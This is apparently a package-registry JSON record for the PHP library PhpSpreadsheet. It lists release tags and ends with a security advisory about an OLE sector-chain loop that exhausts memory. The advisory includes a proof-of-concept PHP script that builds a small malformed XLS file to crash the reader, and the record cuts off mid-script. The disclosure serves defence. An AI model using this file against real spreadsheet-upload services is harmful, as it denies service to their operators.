000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.20.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.20.0/manifests"},{"name":"1.19.0","sha":"a9ab55bfae02eecffb3df669a2e19ba0e2f04bbf","kind":"tag","published_at":"2021-10-31T15:09:40.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.19.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.19.0/manifests"},{"name":"1.18.0","sha":"418cd304e8e6b417ea79c3b29126a25dc4b1170c","kind":"tag","published_at":"2021-05-31T18:34:12.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.18.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.18.0/manifests"},{"name":"1.17.1","sha":"c55269cb06911575a126dc225a05c0e4626e5fb4","kind":"tag","published_at":"2021-03-02T17:55:40.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.17.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.17.1/manifests"},{"name":"1.17.0","sha":"42e8680fc032f8c6f17085c238b2885205688767","kind":"tag","published_at":"2021-03-02T17:39:23.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.17.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.17.0/manifests"},{"name":"1.16.0","sha":"76d4323b85129d0c368149c831a07a3e258b2b50","kind":"tag","published_at":"2020-12-31T18:13:56.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.16.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.16.0/manifests"},{"name":"1.15.0","sha":"a8e8068b31b8119e1daa5b1eb5715a3a8ea8305f","kind":"tag","published_at":"2020-10-11T13:22:04.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.15.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.15.0/manifests"},{"name":"1.14.1","sha":"2383aad5689778470491581442aab38cec41bf1d","kind":"tag","published_at":"2020-07-19T09:51:56.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.14.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.14.1/manifests"},{"name":"1.14.0","sha":"73fe58fdc9f3977619bec6b26e867eb2ac059dcd","kind":"tag","published_at":"2020-06-29T01:51:29.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.14.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.14.0/manifests"},{"name":"1.13.0","sha":"21bfb5b3243b8ceb9eda499a4d699fc42c11a9d1","kind":"tag","published_at":"2020-05-31T13:49:58.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.13.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.13.0/manifests"},{"name":"1.12.0","sha":"f79611d6dc1f6b7e8e30b738fc371b392001dbfd","kind":"tag","published_at":"2020-04-27T08:12:54.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.12.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.12.0/manifests"},{"name":"1.11.0","sha":"c2a205e82f9cf1cc9fab86b79e808d86dd680470","kind":"tag","published_at":"2020-03-02T13:09:25.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.11.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.11.0/manifests"},{"name":"1.10.1","sha":"1648dc9ebef6ebe0c5a172e16cf66732918416e0","kind":"tag","published_at":"2019-12-01T23:14:10.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.10.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.10.1/manifests"},{"name":"1.10.0","sha":"f734783d826bd84c3d54fcf7b71c37ab9bac4b04","kind":"tag","published_at":"2019-11-18T11:33:32.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.10.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.10.0/manifests"},{"name":"1.9.0","sha":"8dea03eaf60a349b6097e4bcad11f894668280df","kind":"tag","published_at":"2019-08-17T22:24:51.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.9.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.9.0/manifests"},{"name":"1.8.2","sha":"0c1346a1956347590b7db09533966307d20cb7cc","kind":"tag","published_at":"2019-07-08T21:23:45.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.8.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.2/manifests"},{"name":"1.8.1","sha":"352c7002fefe4e4037d02654d853a1b09520946f","kind":"tag","published_at":"2019-07-01T20:48:53.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.8.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.1/manifests"},{"name":"1.8.0","sha":"0e6238c69e863b58aeece61e48ea032696c6dccd","kind":"tag","published_at":"2019-06-30T23:00:13.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.8.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.0/manifests"},{"name":"1.7.0","sha":"84e09df79855ed3da84e2eab6850eb7741d8cbda","kind":"tag","published_at":"2019-05-26T02:51:09.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.7.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.7.0/manifests"},{"name":"1.6.0","sha":"bf00f0cc5f55c354018f9a9ef15e6e3e1a229051","kind":"tag","published_at":"2019-01-02T04:44:16.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.6.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.6.0/manifests"},{"name":"1.5.2","sha":"cd60531c44f580fbdfbd55dfb935af791f09be5d","kind":"tag","published_at":"2018-11-25T17:49:00.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.5.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"7f46932b2fabbaaf5a70e67cacc472a50b95cbb9","kind":"tag","published_at":"2018-11-20T19:54:34.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.5.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"2dfd06c59825914a1a325f2a2ed13634b9d8c411","kind":"tag","published_at":"2018-10-21T10:05:00.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.5.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.0/manifests"},{"name":"1.4.1","sha":"57404f43742a8164b5eac3ab03b962d8740885c1","kind":"tag","published_at":"2018-09-30T03:57:47.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.4.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"125f462a718956f37d81305ca0df4f17cef0f3b9","kind":"tag","published_at":"2018-08-06T02:58:22.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.4.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.4.0/manifests"},{"name":"1.3.1","sha":"aa5b0d0236c907fd8dba0883f3ceb97cc52e46ec","kind":"tag","published_at":"2018-06-12T13:41:03.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.3.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.3.1/manifests"},{"name":"1.3.0","sha":"2eb342c13da50211fdfea73b513647e22a87e78f","kind":"tag","published_at":"2018-06-10T06:44:32.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.3.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.3.0/manifests"},{"name":"1.2.1","sha":"36acc372875c4d894dc093825ce4f62209db5a76","kind":"tag","published_at":"2018-04-10T03:59:54.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.2.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.2.1/manifests"},{"name":"1.2.0","sha":"8380fb3ad28242093c18d0baa9b7e67fb429ea84","kind":"tag","published_at":"2018-03-04T20:45:09.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.2.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"a2771e562e3a17c0d512d2009e38fd628beece90","kind":"tag","published_at":"2018-01-28T12:38:00.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.1.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.1.0/manifests"},{"name":"1.0.0","sha":"691b68de9b87cf6e398df46482741a4f667a9391","kind":"tag","published_at":"2017-12-25T01:55:36.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.0.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0/manifests"},{"name":"1.0.0-beta2","sha":"59326f1064d61a6ff77822b64124a8046e06a46d","kind":"tag","published_at":"2017-11-26T06:47:49.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.0.0-beta2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.0.0-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.0.0-beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0-beta2/manifests"},{"name":"1.0.0-beta","sha":"7d4dc74fc6219739f1b6e0a7a2f87fdbf33c6ca5","kind":"tag","published_at":"2017-08-17T13:18:43.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.0.0-beta","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.0.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.0.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.0.0-beta/manifests"},{"name":"phpexcel-last-cherry-picked-commit","sha":"2291748a8334083bb087632d566873f96ccd96b2","kind":"commit","published_at":"2016-07-14T22:09:19.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/phpexcel-last-cherry-picked-commit","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/phpexcel-last-cherry-picked-commit","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@phpexcel-last-cherry-picked-commit","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/phpexcel-last-cherry-picked-commit","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/phpexcel-last-cherry-picked-commit/manifests"},{"name":"phpexcel-last-release-1.8.1","sha":"c9cb4d4286f2cac15887c90170e023148b591c9f","kind":"commit","published_at":"2015-05-01T07:06:07.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/phpexcel-last-release-1.8.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/phpexcel-last-release-1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@phpexcel-last-release-1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/phpexcel-last-release-1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/phpexcel-last-release-1.8.1/manifests"}]},"repo_metadata_updated_at":"2026-10-26T17:20:16.036Z","dependent_packages_count":1063,"downloads":361088259,"downloads_period":"total","dependent_repos_count":20090,"rankings":{"downloads":0.03887083880336489,"dependent_repos_count":0.06380684860174993,"dependent_packages_count":0.04058213359345014,"stargazers_count":0.018335301322341933,"forks_count":0.014668241057873545,"docker_downloads_count":0.09754380303485907,"average":0.045634527735606584},"purl":"pkg:composer/phpoffice/phpspreadsheet","advisories":[{"uuid":"GSA_kwCzR0hTQS14aDVtLTM2cjYtNDdtM84ABfmU","url":"https://github.com/advisories/GHSA-xh5m-36r6-47m3","title":"PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion","description":"## Summary\n\nPhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory.\n\nThis is reachable from `Reader\\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.\n\n## Vulnerability details\n\n`OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic.\n- `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header.\n- `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain.\n\nThe vulnerable loop is:\n\n```php\n$sbdBlock = $this-\u003esbdStartBlock;\n$this-\u003esmallBlockChain = '';\nwhile ($sbdBlock != -2) {\n    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;\n\n    $this-\u003esmallBlockChain .= substr($this-\u003edata, $pos, 4 * $bbs);\n    $pos += 4 * $bbs;\n\n    $sbdBlock = self::getInt4d($this-\u003ebigBlockChain, $sbdBlock * 4);\n}\n```\n\nThere is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted.\n\nThe issue is reachable during normal reader detection/loading:\n\n- `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`.\n- `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue.\n\nSimilar unbounded sector-chain walks exist later in stream reading:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:175-180`\n- `src/PhpSpreadsheet/Shared/OLERead.php:198-202`\n- `src/PhpSpreadsheet/Shared/OLERead.php:218-222`\n\nThe proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.\n\n## Impact\n\nA 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.\n\nThe issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c'SH'\nset -eu\nphp -r '\n$data = str_repeat(\"\\0\", 1024);\n$set = function (int $off, string $bytes) use (\u0026$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };\n$set(0, hex2bin(\"D0CF11E0A1B11AE1\"));\n$set(28, \"\\xfe\\xff\");\n$set(30, pack(\"v\", 9));     // sector size 512\n$set(32, pack(\"v\", 6));     // mini sector size 64\n$set(44, pack(\"l\", 1));     // 1 SAT sector\n$set(48, pack(\"l\", 0));     // directory first sector 0\n$set(56, pack(\"l\", 4096));  // mini stream cutoff\n$set(60, pack(\"l\", 0));     // SSAT first sector 0\n$set(64, pack(\"l\", 1));     // one SSAT sector\n$set(68, pack(\"l\", -2));    // no MSAT extension\n$set(72, pack(\"l\", 0));     // no extension sectors\n$set(76, pack(\"l\", 0));     // DIFAT says SAT is sector 0\n$set(512, pack(\"l\", 0));    // SAT entry for sector 0 points to itself\nfile_put_contents(\"/tmp/phpspreadsheet-ole-selfloop.xls\", $data);\nprintf(\"ole_size=%d\\n\", filesize(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n'\nphp -d memory_limit=64M -d display_errors=1 -r '\nrequire \"/app/vendor/autoload.php\";\n$r = new 